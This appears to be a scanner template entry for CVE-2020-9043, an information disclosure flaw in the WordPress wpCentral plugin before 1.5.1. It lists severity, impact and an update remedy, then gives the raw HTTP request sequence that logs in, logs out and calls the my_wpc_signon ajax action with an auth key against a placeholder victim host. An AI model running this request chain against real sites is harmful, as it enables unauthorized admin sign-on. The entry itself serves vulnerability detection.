| Title | WordPress wpCentral <1.5.1 - Information Disclosure |
|---|---|
| Author | scent2d |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin. |
| Remediation | Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.29554 |
| CVE ID | CVE-2020-9043 |
| CWE ID | CWE-200 |
| Tags | cve cve2020 wordpress wp-plugin wpcentral authenticated wp wpscan vkev vuln |
WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.8
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=1FxnSy&pwd=4TbA2G&wp-submit=Log+In&testcookie=1
GET /wp-admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Accept-Encoding: gzip
GET /wp-login.php?action=logout&_wpnonce=qhaiqp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key=MS7OTB HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
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